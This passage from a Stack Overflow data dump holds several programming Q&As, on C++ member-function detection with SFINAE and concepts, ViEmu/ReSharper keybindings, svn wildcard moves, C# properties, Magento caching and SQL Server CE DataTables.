of the <code>sizeof</code> operator into a template instantiation to form a type.</p>\n\n<p>The <code>match</code> function is another SFINAE kind of template that is left without a generic counterpart. It can hence only be instantiated if the type of its argument matches the type it was specialized for.</p>\n\n<p>Both the <code>test</code> functions together with the enum declaration finally form the central SFINAE pattern. There is a generic one using an ellipsis that returns the <code>false_type</code> and a counterpart with more specific arguments to take precedence.</p>\n\n<p>To be able to instantiate the <code>test</code> function with a template argument of <code>T</code>, the <code>match</code> function must be instantiated, as its return type is required to instantiate the <code>TypeSink</code> argument. The caveat is that <code>&amp;U::foo</code>, being wrapped in a function argument, is <em>not</em> referred to from within a template argument specialization, so inherited member lookup still takes place. </p>\n" }, { "answer_id": 55682258, "author": "prehistoricpenguin", "author_id": 1292791, "author_profile": "https://Stackoverflow.com/users/1292791", "pm_score": 2, "selected": false, "text": "<p>If you are using facebook folly, there are out of box macro to help you:</p>\n<pre><code>#include &lt;folly/Traits.h&gt;\nnamespace {\n FOLLY_CREATE_HAS_MEMBER_FN_TRAITS(has_test_traits, test);\n} // unnamed-namespace\n\nvoid some_func() {\n cout &lt;&lt; &quot;Does class Foo have a member int test() const? &quot;\n &lt;&lt; boolalpha &lt;&lt; has_test_traits&lt;Foo, int() const&gt;::value;\n}\n</code></pre>\n<p>Though the implementation details is the same with the previous answer, use a library is simpler.</p>\n" }, { "answer_id": 61482882, "author": "ctNGUYEN", "author_id": 1853441, "author_profile": "https://Stackoverflow.com/users/1853441", "pm_score": 2, "selected": false, "text": "<p>I had a similar need and came across o this SO. There are many interesting/powerful solutions proposed here, though it is a bit long for just a specific need : detect if a class has member function with a precise signature. So I did some reading/testing and came up with my version that could be of interest. It detect :</p>\n<ul>\n<li>static member function</li>\n<li>non-static member function</li>\n<li>non-static member function const</li>\n</ul>\n<p>with a precise signature. Since I don't need to capture <em>any</em> signature (that'd require a more complicated solution), this one suites to me. It basically used <strong>enable_if_t</strong>.</p>\n<pre><code>struct Foo{ static int sum(int, const double&amp;){return 0;} };\nstruct Bar{ int calc(int, const double&amp;) {return 1;} };\nstruct BarConst{ int calc(int, const double&amp;) const {return 1;} };\n\n// Note : second typename can be void or anything, as long as it is consistent with the result of enable_if_t\ntemplate&lt;typename T, typename = T&gt; struct has_static_sum : std::false_type {};\ntemplate&lt;typename T&gt;\nstruct has_static_sum&lt;typename T,\n std::enable_if_t&lt;std::is_same&lt;decltype(T::sum), int(int, const double&amp;)&gt;::value,T&gt; \n &gt; : std::true_type {};\n\ntemplate&lt;typename T, typename = T&gt; struct has_calc : std::false_type {};\ntemplate&lt;typename T&gt;\nstruct has_calc &lt;typename T,\n std::enable_if_t&lt;std::is_same&lt;decltype(&amp;T::calc), int(T::*)(int, const double&amp;)&gt;::value,T&gt;\n &gt; : std::true_type {};\n\ntemplate&lt;typename T, typename = T&gt; struct has_calc_const : std::false_type {};\ntemplate&lt;typename T&gt;\nstruct has_calc_const &lt;T,\n std::enable_if_t&lt;std::is_same&lt;decltype(&amp;T::calc), int(T::*)(int, const double&amp;) const&gt;::value,T&gt;\n &gt; : std::true_type {};\n\nint main ()\n{\n constexpr bool has_sum_val = has_static_sum&lt;Foo&gt;::value;\n constexpr bool not_has_sum_val = !has_static_sum&lt;Bar&gt;::value;\n\n constexpr bool has_calc_val = has_calc&lt;Bar&gt;::value;\n constexpr bool not_has_calc_val = !has_calc&lt;Foo&gt;::value;\n\n constexpr bool has_calc_const_val = has_calc_const&lt;BarConst&gt;::value;\n constexpr bool not_has_calc_const_val = !has_calc_const&lt;Bar&gt;::value;\n\n std::cout&lt;&lt; &quot; has_sum_val &quot; &lt;&lt; has_sum_val &lt;&lt; std::endl\n &lt;&lt; &quot; not_has_sum_val &quot; &lt;&lt; not_has_sum_val &lt;&lt; std::endl\n &lt;&lt; &quot; has_calc_val &quot; &lt;&lt; has_calc_val &lt;&lt; std::endl\n &lt;&lt; &quot; not_has_calc_val &quot; &lt;&lt; not_has_calc_val &lt;&lt; std::endl\n &lt;&lt; &quot; has_calc_const_val &quot; &lt;&lt; has_calc_const_val &lt;&lt; std::endl\n &lt;&lt; &quot;not_has_calc_const_val &quot; &lt;&lt; not_has_calc_const_val &lt;&lt; std::endl;\n}\n</code></pre>\n<p>Output :</p>\n<pre><code> has_sum_val 1\n not_has_sum_val 1\n has_calc_val 1\n not_has_calc_val 1\n has_calc_const_val 1\nnot_has_calc_const_val 1\n</code></pre>\n" }, { "answer_id": 62061759, "author": "lar", "author_id": 13633603, "author_profile": "https://Stackoverflow.com/users/13633603", "pm_score": 3, "selected": false, "text": "<p>You appear to want the detector idiom. The above answers are variations on this that work with C++11 or C++14.</p>\n<p>The <code>std::experimental</code> library has features which do essentially this. Reworking an example from above, it might be:</p>\n<pre><code>#include &lt;experimental/type_traits&gt;\n\n// serialized_method_t is a detector type for T.serialize(int) const\ntemplate&lt;typename T&gt;\nusing serialized_method_t = decltype(std::declval&lt;const T&amp;&gt;().serialize(std::declval&lt;int&gt;()));\n\n// has_serialize_t is std::true_type when T.serialize(int) exists,\n// and false otherwise.\ntemplate&lt;typename T&gt;\nusing has_serialize_t = std::experimental::is_detected_t&lt;serialized_method_t, T&gt;;\n\n</code></pre>\n<p>If you can't use std::experimental, a rudimentary version can be made like this:</p>\n<pre><code>template &lt;typename... Ts&gt;\nusing void_t = void;\ntemplate &lt;template &lt;class...&gt; class Trait, class AlwaysVoid, class... Args&gt;\nstruct detector : std::false_type {};\ntemplate &lt;template &lt;class...&gt; class Trait, class... Args&gt;\nstruct detector&lt;Trait, void_t&lt;Trait&lt;Args...&gt;&gt;, Args...&gt; : std::true_type {};\n\n// serialized_method_t is a detector type for T.serialize(int) const\ntemplate&lt;typename T&gt;\nusing serialized_method_t = decltype(std::declval&lt;const T&amp;&gt;().serialize(std::declval&lt;int&gt;()));\n\n// has_serialize_t is std::true_type when T.serialize(int) exists,\n// and false otherwise.\ntemplate &lt;typename T&gt;\nusing has_serialize_t = typename detector&lt;serialized_method_t, void, T&gt;::type;\n</code></pre>\n<p>Since has_serialize_t is really either std::true_type or std::false_type, it can be used via any of the common SFINAE idioms:</p>\n<pre><code>template&lt;class T&gt;\nstd::enable_if_t&lt;has_serialize_t&lt;T&gt;::value, std::string&gt;\nSerializeToString(const T&amp; t) {\n}\n</code></pre>\n<p>Or by using dispatch with overload resolution:</p>\n<pre><code>template&lt;class T&gt;\nstd::string SerializeImpl(std::true_type, const T&amp; t) {\n // call serialize here.\n}\n\ntemplate&lt;class T&gt;\nstd::string SerializeImpl(std::false_type, const T&amp; t) {\n // do something else here.\n}\n\ntemplate&lt;class T&gt;\nstd::string Serialize(const T&amp; t) {\n return SerializeImpl(has_serialize_t&lt;T&gt;{}, t);\n}\n\n</code></pre>\n" }, { "answer_id": 62626862, "author": "debashish.ghosh", "author_id": 2379665, "author_profile": "https://Stackoverflow.com/users/2379665", "pm_score": 1, "selected": false, "text": "<p>Building on <a href=\"https://stackoverflow.com/users/947836/jrok\">jrok</a>'s <a href=\"https://stackoverflow.com/a/16824239/2379665\">answer</a>, I have avoided using nested template classes and/or functions.</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>#include &lt;type_traits&gt;\n\n#define CHECK_NESTED_FUNC(fName) \\\n template &lt;typename, typename, typename = std::void_t&lt;&gt;&gt; \\\n struct _has_##fName \\\n : public std::false_type {}; \\\n \\\n template &lt;typename Class, typename Ret, typename... Args&gt; \\\n struct _has_##fName&lt;Class, Ret(Args...), \\\n std::void_t&lt;decltype(std::declval&lt;Class&gt;().fName(std::declval&lt;Args&gt;()...))&gt;&gt; \\\n : public std::is_same&lt;decltype(std::declval&lt;Class&gt;().fName(std::declval&lt;Args&gt;()...)), Ret&gt; \\\n {}; \\\n \\\n template &lt;typename Class, typename Signature&gt; \\\n using has_##fName = _has_##fName&lt;Class, Signature&gt;;\n\n#define HAS_NESTED_FUNC(Class, Func, Signature) has_##Func&lt;Class, Signature&gt;::value\n</code></pre>\n<p>We can use the above macros as below:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>class Foo\n{\npublic:\n void Bar(int, const char *) {}\n};\n\nCHECK_NESTED_FUNC(Bar); // generate required metafunctions\n\nint main()\n{\n using namespace std;\n cout &lt;&lt; boolalpha\n &lt;&lt; HAS_NESTED_FUNC(Foo, Bar, void(int, const char *)) // prints true\n &lt;&lt; endl;\n return 0;\n}\n</code></pre>\n<p>Suggestions are welcome.</p>\n" }, { "answer_id": 64308024, "author": "Peter Rindal", "author_id": 5130905, "author_profile": "https://Stackoverflow.com/users/5130905", "pm_score": 4, "selected": false, "text": "<p>With c++ 20 this becomes much simpler. Say we want to test if a class <code>T</code> has a member function <code>void T::resize(typename T::size_type)</code>. For example, <code>std::vector&lt;U&gt;</code> has such a member function. Then,</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>template&lt;typename T&gt;\nconcept has_resize_member_func = requires {\n typename T::size_type;\n { std::declval&lt;T&gt;().resize(std::declval&lt;typename T::size_type&gt;()) } -&gt; std::same_as&lt;void&gt;;\n};\n</code></pre>\n<p>and the usage is</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>static_assert(has_resize_member_func&lt;std::string&gt;, &quot;&quot;);\nstatic_assert(has_resize_member_func&lt;int&gt; == false, &quot;&quot;);\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87372", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10120/" ]
I'm asking for a template trick to detect if a class has a specific member function of a given signature. The problem is similar to the one cited here <http://www.gotw.ca/gotw/071.htm> but not the same: in the item of Sutter's book he answered to the question that a class C MUST PROVIDE a member function with a particular signature, else the program won't compile. In my problem I need to do something if a class has that function, else do "something else". A similar problem was faced by boost::serialization but I don't like the solution they adopted: a template function that invokes by default a free function (that you have to define) with a particular signature unless you define a particular member function (in their case "serialize" that takes 2 parameters of a given type) with a particular signature, else a compile error will happens. That is to implement both intrusive and non-intrusive serialization. I don't like that solution for two reasons: 1. To be non intrusive you must override the global "serialize" function that is in boost::serialization namespace, so you have IN YOUR CLIENT CODE to open namespace boost and namespace serialization! 2. The stack to resolve that mess was 10 to 12 function invocations. I need to define a custom behavior for classes that has not that member function, and my entities are inside different namespaces (and I don't want to override a global function defined in one namespace while I'm in another one) Can you give me a hint to solve this puzzle?
I'm not sure if I understand you correctly, but you may exploit SFINAE to detect function presence at compile-time. Example from my code (tests if class has member function size\_t used\_memory() const). ``` template<typename T> struct HasUsedMemoryMethod { template<typename U, size_t (U::*)() const> struct SFINAE {}; template<typename U> static char Test(SFINAE<U, &U::used_memory>*); template<typename U> static int Test(...); static const bool Has = sizeof(Test<T>(0)) == sizeof(char); }; template<typename TMap> void ReportMemUsage(const TMap& m, std::true_type) { // We may call used_memory() on m here. } template<typename TMap> void ReportMemUsage(const TMap&, std::false_type) { } template<typename TMap> void ReportMemUsage(const TMap& m) { ReportMemUsage(m, std::integral_constant<bool, HasUsedMemoryMethod<TMap>::Has>()); } ```
87,381
<p>With ViEmu you really need to unbind a lot of resharpers keybindings to make it work well.</p> <p>Does anyone have what they think is a good set of keybindings that work well for resharper when using ViEmu?</p> <p>What I'm doing at the moment using the Visual Studio bindings from Resharper. Toasting all the conflicting ones with ViEmu, and then just driving the rest through the menu modifiers ( Alt-R keyboard shortcut for the menu item ). I also do the same with Visual Assist shortcuts ( for C++ )</p> <p>if anyones got any tips and tricks for ViEmu / Resharper or Visual Assist working together well I'd most apprciate it!</p>
[ { "answer_id": 88223, "author": "Christian C. Salvadó", "author_id": 5445, "author_profile": "https://Stackoverflow.com/users/5445", "pm_score": 0, "selected": false, "text": "<p>I use both plugins, but I really prefer the power of the Vi input model that ViEmu gives. I really don't miss so much the Resharper keybindings...</p>\n" }, { "answer_id": 157460, "author": "David Mohundro", "author_id": 4570, "author_profile": "https://Stackoverflow.com/users/4570", "pm_score": 2, "selected": false, "text": "<p>I use both as well, but I'm using the IntelliJ keybindings instead, so I can't speak specifically to the Visual Studio bindings. <a href=\"http://blog.developwithpassion.com/2008/07/vs-viemu-resharper-modded-with-autohotkey\" rel=\"nofollow noreferrer\">J.P. Boodhoo has some changes that he has made via AutoHotKey</a> to provide additional Vim-like functionality to Visual Studio + ReSharper + ViEmu.</p>\n\n<p>I have removed a few of the scanned keys, though, because I want to keep some of the ReSharper functionality over the ViEmu functionality, though the way I use these tools change over time as I learn more shortcuts from either ViEmu or ReSharper.</p>\n" }, { "answer_id": 994587, "author": "Jay", "author_id": 114994, "author_profile": "https://Stackoverflow.com/users/114994", "pm_score": 5, "selected": true, "text": "<p>You can also create mappings in ViEmu that will call the VS and R# actions. For example, I have these lines in my _viemurc file for commenting and uncommenting a selection:</p>\n\n<pre><code>map &lt;C-S-c&gt; gS:vsc Edit.CommentSelection&lt;CR&gt;\nmap &lt;C-A-c&gt; gS:vsc Edit.UncommentSelection&lt;CR&gt;\n</code></pre>\n\n<p>The :vsc is for \"visual studio command,\" and then you enter the exact text of the command, as it appears in the commands list when you go to Tool>Options>Keyboard</p>\n\n<p>I don't use any of the R# ones in this way, but it does work, as with:</p>\n\n<pre><code>map &lt;C-S-A-f&gt; gS:vsc ReSharper.FindUsages&lt;CR&gt;\n</code></pre>\n" }, { "answer_id": 5604454, "author": "bentayloruk", "author_id": 418492, "author_profile": "https://Stackoverflow.com/users/418492", "pm_score": 2, "selected": false, "text": "<p>I have noticed the following, which may be useful to know. <strong>Some of the ReSharper keyboard mappings that ViEmu hoses, will work once you have a different ReSharper dialog open.</strong> <em>I use the IntelliJ IDEA-based shortcuts, but I assume this will work similarly for ReSharper's VS scheme</em>.</p>\n\n<p><strong>Example:</strong> ViEmu binds to <code>Ctrl+N</code> which R# uses for <code>Go To Type</code>. However, ViEmu does not bind to <code>Ctrl+Shift+N</code> which R# uses for <code>Go To File</code>. Therefore, if you hit <code>Ctrl+Shift+N</code> <strong>the Go To dialog is launched</strong>. You can then take your finger off Shift and hit N again and <strong>the dialog will switch</strong> to <code>Go To Type</code>.</p>\n\n<p>This is very useful, if like me you use <code>Go To Type</code> a lot and don't really want to mess with the keyboard mappings.</p>\n" }, { "answer_id": 18584448, "author": "Artyom", "author_id": 511144, "author_profile": "https://Stackoverflow.com/users/511144", "pm_score": 1, "selected": false, "text": "<p>As @Jay noted the best way is to set up custom bindings. </p>\n\n<p>Here is example of bindings at <a href=\"https://github.com/StanislawSwierc/Profile\" rel=\"nofollow\">https://github.com/StanislawSwierc/Profile</a>. I created my bindings based on the previous at <a href=\"https://github.com/w1ld/viemu_settings\" rel=\"nofollow\">https://github.com/w1ld/viemu_settings</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87381", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10431/" ]
With ViEmu you really need to unbind a lot of resharpers keybindings to make it work well. Does anyone have what they think is a good set of keybindings that work well for resharper when using ViEmu? What I'm doing at the moment using the Visual Studio bindings from Resharper. Toasting all the conflicting ones with ViEmu, and then just driving the rest through the menu modifiers ( Alt-R keyboard shortcut for the menu item ). I also do the same with Visual Assist shortcuts ( for C++ ) if anyones got any tips and tricks for ViEmu / Resharper or Visual Assist working together well I'd most apprciate it!
You can also create mappings in ViEmu that will call the VS and R# actions. For example, I have these lines in my \_viemurc file for commenting and uncommenting a selection: ``` map <C-S-c> gS:vsc Edit.CommentSelection<CR> map <C-A-c> gS:vsc Edit.UncommentSelection<CR> ``` The :vsc is for "visual studio command," and then you enter the exact text of the command, as it appears in the commands list when you go to Tool>Options>Keyboard I don't use any of the R# ones in this way, but it does work, as with: ``` map <C-S-A-f> gS:vsc ReSharper.FindUsages<CR> ```
87,458
<p>I want to do this so that I can say something like, <code>svn mv *.php php-folder/</code>, but it does not seem to be working. Is it even possible? No mention of it is made on the relevant page in the <a href="http://svnbook.red-bean.com/en/1.0/re18.html" rel="noreferrer">svn book</a>.</p> <p>Example output of <code>svn mv *.php php-folder/</code> :<br> <code>svn: Client error in parsing arguments</code></p> <p>Being able to move a whole file system would be a plus, so if any answers given could try to include that ability, that'd be cool.</p> <p>Thanks in advance!</p>
[ { "answer_id": 87488, "author": "zigdon", "author_id": 4913, "author_profile": "https://Stackoverflow.com/users/4913", "pm_score": 0, "selected": false, "text": "<p>If you're in the correct checked out directory, I don't see why it wouldn't work? Your shell should expand the *.php to a list of php files, and svn move accepts multiple sources as arguments.</p>\n" }, { "answer_id": 87516, "author": "sirprize", "author_id": 12902, "author_profile": "https://Stackoverflow.com/users/12902", "pm_score": 4, "selected": true, "text": "<p>Not sure about svn itself, but either your shell should be able to expand that wildcard and svn can take multiple source arguments, or you can use something like</p>\n\n<pre><code>for file in *.php; do svn mv $file php-folder/; done\n</code></pre>\n\n<p>in a bash shell, for example.</p>\n" }, { "answer_id": 87524, "author": "cjm", "author_id": 8355, "author_profile": "https://Stackoverflow.com/users/8355", "pm_score": 4, "selected": false, "text": "<p>svn move only moves one file at a time. Your best bet is a shell loop. In Bash, try</p>\n\n<pre><code>for f in *.php ; do svn mv $f php-folder/; done\n</code></pre>\n\n<p>On Windows, that's</p>\n\n<pre><code>for %f in (*.php) do svn mv %f php-folder/\n</code></pre>\n\n<p><strong>Edit:</strong> Starting with Subversion 1.5, <code>svn mv</code> accepts multiple source files, so your original command would work. The shell loop is only needed for svn 1.4.x and earlier. (Of course, the shell loop will still work with 1.5; it just isn't necessary.)</p>\n" }, { "answer_id": 4749024, "author": "User1", "author_id": 125380, "author_profile": "https://Stackoverflow.com/users/125380", "pm_score": 1, "selected": false, "text": "<p><code>find . -name \"*.php\" -exec svn mv {} php-folder \\;</code></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87458", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16562/" ]
I want to do this so that I can say something like, `svn mv *.php php-folder/`, but it does not seem to be working. Is it even possible? No mention of it is made on the relevant page in the [svn book](http://svnbook.red-bean.com/en/1.0/re18.html). Example output of `svn mv *.php php-folder/` : `svn: Client error in parsing arguments` Being able to move a whole file system would be a plus, so if any answers given could try to include that ability, that'd be cool. Thanks in advance!
Not sure about svn itself, but either your shell should be able to expand that wildcard and svn can take multiple source arguments, or you can use something like ``` for file in *.php; do svn mv $file php-folder/; done ``` in a bash shell, for example.
87,459
<p>I have a class with a string property that's actually several strings joined with a separator.</p> <p>I'm wondering if it is good form to have a proxy property like this:</p> <pre><code>public string ActualProperty { get { return actualProperty; } set { actualProperty = value; } } public string[] IndividualStrings { get { return ActualProperty.Split(.....); } set { // join strings from array in propval .... ; ActualProperty = propval; } } </code></pre> <p>Is there any risks I have overlooked?</p>
[ { "answer_id": 87491, "author": "typemismatch", "author_id": 13714, "author_profile": "https://Stackoverflow.com/users/13714", "pm_score": 0, "selected": false, "text": "<p>Well I'd say your \"set\" is high risk, what if somebody didn't know they had to pass an already joined sequence of values or your example above was maybe missing that. What if the string already contained the separator - you'd break.</p>\n\n<p>I'm sure performance isn't great depending on how often this property is used.</p>\n" }, { "answer_id": 87498, "author": "Shog9", "author_id": 811, "author_profile": "https://Stackoverflow.com/users/811", "pm_score": 1, "selected": false, "text": "<p>Define \"good\". It shouldn't break (unless you failed to properly guarantee that the delimiter(s) passed to <code>Split()</code> are never allowed in the individual strings themselves), but if <code>IndividualStrings</code> is accessed more frequently than <code>ActualProperty</code> you'll end up parsing <code>actualProperty</code> far more often than you should. Of course, if the reverse is true, then you're doing well... and if both are called so often that any unnecessary parsing or concatenation is unacceptable, then just store both and re-parse when the value changes.</p>\n" }, { "answer_id": 87510, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>I'm not sure what the benefit of this design would be. I think the split would be better served in an extension method.</p>\n\n<p>At a minimum, I'd remove the setter on the IndividualStrings property, or move it into two methods: string[] SplitActualProperty() and void MergeToActualProperty(string[] parts).</p>\n" }, { "answer_id": 87559, "author": "Wedge", "author_id": 332, "author_profile": "https://Stackoverflow.com/users/332", "pm_score": 2, "selected": false, "text": "<p>Linking two settable properties together is bad juju in my opinion. Switch to using explicit get / set methods instead of a property if this is really what you want. Code which has non-obvious side-effects will almost always bite you later on. Keep things simple and straightforward as much as possible.</p>\n\n<p>Also, if you have a property which is a formatted string containing sub-strings, it looks like what you really want is a separate struct / class for that property rather than misusing a primitive type.</p>\n" }, { "answer_id": 88196, "author": "Steve Cooper", "author_id": 6722, "author_profile": "https://Stackoverflow.com/users/6722", "pm_score": 2, "selected": false, "text": "<p>Seems that the array is the real data, and the single-string stuff is a convenience. That's fine, but I'd say look out for things like serialization and memberwise cloning, which will get and set both writeable properties. </p>\n\n<p>I think I would;</p>\n\n<ul>\n<li>keep the array as a property</li>\n<li>provide a <code>GetJoinedString(string seperator)</code> method.</li>\n<li>provide a <code>SetStrings(string joined, string seperator)</code> or <code>Parse(string joined, string seperator)</code> method. </li>\n</ul>\n\n<p>Realistically, the seperator in the strings isn't really part of the class, but an ephemeral detail. Make references to it explicit, so that, say, a CSV application can pass a comma, where a tab-delimited app could pass a tab. It'll make your app easier to maintain. Also, it removes that nasty problem of having two getters and setters for the same actual data. </p>\n" }, { "answer_id": 2390765, "author": "Paul Turner", "author_id": 138578, "author_profile": "https://Stackoverflow.com/users/138578", "pm_score": 1, "selected": false, "text": "<p>Properties are intended to be very simple members of a class; getting or setting the value of a property should be considered a trivial operation <strong>without significant side-effects</strong>.</p>\n\n<p>If setting a property causes public values of the class other than the assigned property to change, this is more significant than a basic assignment and is probably no longer a good fit for the property.</p>\n\n<p>A \"complex\" property is dangerous, because it breaks from the expectations of callers. Properties are interpreted as fields (with side-effects), but as fields you expect to be able to assign a value and then later retrieve that value. In this way, a caller should expect to be able to assign to multiple properties and retrieve their values again later.</p>\n\n<p>In your example, I can't assign a value to both properties and retrieve them; one value will affect the other. This breaks a fundamental expectation of the property. If you create a method to assign values to both properties at the same time and make both properties read-only, it becomes much easier to understand where the values are set.</p>\n\n<p><strong>Additionally, as an aside:</strong> </p>\n\n<p>It's generally considered bad practise to return a temporary array from a property. Arrays may be immutable, but their contents are not. This implies you can change a value within the array which will persist with the object.</p>\n\n<p>For example:</p>\n\n<pre><code>YourClass i = new YourClass();\ni.IndividualStrings[0] = \"Hello temporary array!\";\n</code></pre>\n\n<p>This code looks like it's changing a value in the <code>IndividualStrings</code> property, but actually the array is created by the property and is not assigned anywhere, so the array and the change will fall out of scope immediately.</p>\n\n<pre><code>public string ActualProperty { get; set; }\n\npublic string[] GetIndividualStrings()\n{\n return ActualProperty.Split(.....);\n}\n\npublic void SetFromIndividualStrings(string[] values)\n{\n // join strings from array .... ;\n}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87459", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4192/" ]
I have a class with a string property that's actually several strings joined with a separator. I'm wondering if it is good form to have a proxy property like this: ``` public string ActualProperty { get { return actualProperty; } set { actualProperty = value; } } public string[] IndividualStrings { get { return ActualProperty.Split(.....); } set { // join strings from array in propval .... ; ActualProperty = propval; } } ``` Is there any risks I have overlooked?
Linking two settable properties together is bad juju in my opinion. Switch to using explicit get / set methods instead of a property if this is really what you want. Code which has non-obvious side-effects will almost always bite you later on. Keep things simple and straightforward as much as possible. Also, if you have a property which is a formatted string containing sub-strings, it looks like what you really want is a separate struct / class for that property rather than misusing a primitive type.
87,468
<p>Essentially I have a PHP page that calls out some other HTML to be rendered through an object's method. It looks like this:</p> <p>MY PHP PAGE:</p> <pre><code>// some content... &lt;?php $GLOBALS["topOfThePage"] = true; $this-&gt;renderSomeHTML(); ?&gt; // some content... &lt;?php $GLOBALS["topOfThePage"] = false; $this-&gt;renderSomeHTML(); ?&gt; </code></pre> <p>The first method call is cached, but I need renderSomeHTML() to display slightly different based upon its location in the page. I tried passing through to $GLOBALS, but the value doesn't change, so I'm assuming it is getting cached.</p> <p>Is this not possible without passing an argument through the method or by not caching it? Any help is appreciated. This is not my application -- it is Magento.</p> <p><strong>Edit:</strong></p> <p>This is Magento, and it looks to be using memcached. I tried to pass an argument through renderSomeHTML(), but when I use func_get_args() on the PHP include to be rendered, what comes out is not what I put into it.</p> <p><strong>Edit:</strong></p> <p>Further down the line I was able to "invalidate" the cache by calling a different method that pulled the same content and passing in an argument that turned off caching. Thanks everyone for your help.</p>
[ { "answer_id": 87507, "author": "DGM", "author_id": 14253, "author_profile": "https://Stackoverflow.com/users/14253", "pm_score": 1, "selected": false, "text": "<p>Chaching is handled differently by different frameworks, so you'd have to help us out with some more information. But I also wonder if you could pass that as a parameter instead of using <code>$GLOBALS.</code> </p>\n\n<pre><code>$this-&gt;renderSomeHTML(true);\n</code></pre>\n" }, { "answer_id": 87533, "author": "Milan Babuškov", "author_id": 14690, "author_profile": "https://Stackoverflow.com/users/14690", "pm_score": 3, "selected": true, "text": "<p>Obviously, you cannot. The whole point of caching is that the 'thing' you cache is not going to change. So you either:</p>\n\n<ul>\n<li>provide a parameter</li>\n<li>aviod caching</li>\n<li>invalidate the cache when you set a different parameter</li>\n</ul>\n\n<p>Or, you rewrite the cache mechanism yourself - to support some dynamic binding.</p>\n" }, { "answer_id": 87545, "author": "RobbieGee", "author_id": 6752, "author_profile": "https://Stackoverflow.com/users/6752", "pm_score": 0, "selected": false, "text": "<p>Your question seems unclear, but caching pretty much means 'stored so we don't have to calculate it again'. If you want the content to differ, you need to cache more results and pick the correct cached object one to send back.</p>\n\n<p>Need more info to give a better answer. What is caching the document, Smarty? And what do you mean by \"its location in the page\"? What is 'it'?</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87468", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
Essentially I have a PHP page that calls out some other HTML to be rendered through an object's method. It looks like this: MY PHP PAGE: ``` // some content... <?php $GLOBALS["topOfThePage"] = true; $this->renderSomeHTML(); ?> // some content... <?php $GLOBALS["topOfThePage"] = false; $this->renderSomeHTML(); ?> ``` The first method call is cached, but I need renderSomeHTML() to display slightly different based upon its location in the page. I tried passing through to $GLOBALS, but the value doesn't change, so I'm assuming it is getting cached. Is this not possible without passing an argument through the method or by not caching it? Any help is appreciated. This is not my application -- it is Magento. **Edit:** This is Magento, and it looks to be using memcached. I tried to pass an argument through renderSomeHTML(), but when I use func\_get\_args() on the PHP include to be rendered, what comes out is not what I put into it. **Edit:** Further down the line I was able to "invalidate" the cache by calling a different method that pulled the same content and passing in an argument that turned off caching. Thanks everyone for your help.
Obviously, you cannot. The whole point of caching is that the 'thing' you cache is not going to change. So you either: * provide a parameter * aviod caching * invalidate the cache when you set a different parameter Or, you rewrite the cache mechanism yourself - to support some dynamic binding.
87,514
<p>I'm an experienced programmer in a legacy (yet object oriented) development tool and making the switch to C#/.Net. I'm writing a small single user app using SQL server CE 3.5. I've read the conceptual DataSet and related doc and my code works.</p> <p>Now I want to make sure that I'm doing it "right", get some feedback from experienced .Net/SQL Server coders, the kind you don't get from reading the doc.</p> <p>I've noticed that I have code like this in a few places:</p> <pre><code>var myTableDataTable = new MyDataSet.MyTableDataTable(); myTableTableAdapter.Fill(MyTableDataTable); ... // other code </code></pre> <p>In a single user app, would you typically just do this once when the app starts, instantiate a DataTable object for each table and then store a ref to it so you ever just use that single object which is already filled with data? This way you would ever only read the data from the db once instead of potentially multiple times. Or is the overhead of this so small that it just doesn't matter (plus could be counterproductive with large tables)?</p>
[ { "answer_id": 87538, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": true, "text": "<p>For CE, it's probably a non issue. If you were pushing this app to thousands of users and they were all hitting a centralized DB, you might want to spend some time on optimization. In a single-user instance DB like CE, unless you've got data that says you need to optimize, I wouldn't spend any time worrying about it. Premature optimization, etc.</p>\n" }, { "answer_id": 87575, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>The way to decide varys between 2 main few things\n1. Is the data going to be accesses constantly\n2. Is there a lot of data</p>\n\n<p>If you are constanty using the data in the tables, then load them on first use.\nIf you only occasionally use the data, fill the table when you need it and then discard it.</p>\n\n<p>For example, if you have 10 gui screens and only use myTableDataTable on 1 of them, read it in only on that screen.</p>\n" }, { "answer_id": 87629, "author": "Euro Micelli", "author_id": 2230, "author_profile": "https://Stackoverflow.com/users/2230", "pm_score": 0, "selected": false, "text": "<p>The choice really doesn't depend on C# itself. It comes down to a balance between:</p>\n\n<ol>\n<li>How often do you use the data in your code?</li>\n<li>Does the data ever change (and do you care if it does)?</li>\n<li>What's the relative (time) cost of getting the data again, compared to everything else your code does?</li>\n<li>How much value do you put on <em>performance</em>, versus <em>developer effort/time</em> (for this particular application)?</li>\n</ol>\n\n<p>As a general rule: for production applications, where the data doesn't change often, I would probably create the DataTable once and then hold onto the reference as you mention. I would also consider putting the data in a typed collection/list/dictionary, instead of the generic DataTable class, if nothing else because it's easier to let the compiler catch my typing mistakes.</p>\n\n<p>For a simple utility you run for yourself that \"starts, does its thing and ends\", it's probably not worth the effort.</p>\n\n<p>You are asking about Windows CE. In that particular care, I would most likely do the query only once and hold onto the results. Mobile OSs have extra constraints in batteries and space that desktop software doesn't have. Basically, a mobile OS makes bullet #4 much more important.</p>\n\n<p>Everytime you add another retrieval call from SQL, you make calls to external libraries more often, which means you are probably running longer, allocating and releasing more memory more often (which adds fragmentation), and possibly causing the database to be re-read from Flash memory. it's most likely a lot better to hold onto the data once you have it, assuming that you can (see bullet #2).</p>\n" }, { "answer_id": 89365, "author": "Ryan Lundy", "author_id": 5486, "author_profile": "https://Stackoverflow.com/users/5486", "pm_score": 0, "selected": false, "text": "<p>It's easier to figure out the answer to this question when you think about datasets as being a \"session\" of data. You fill the datasets; you work with them; and then you put the data back or discard it when you're done. So you need to ask questions like this:</p>\n\n<ol>\n<li><strong>How current does 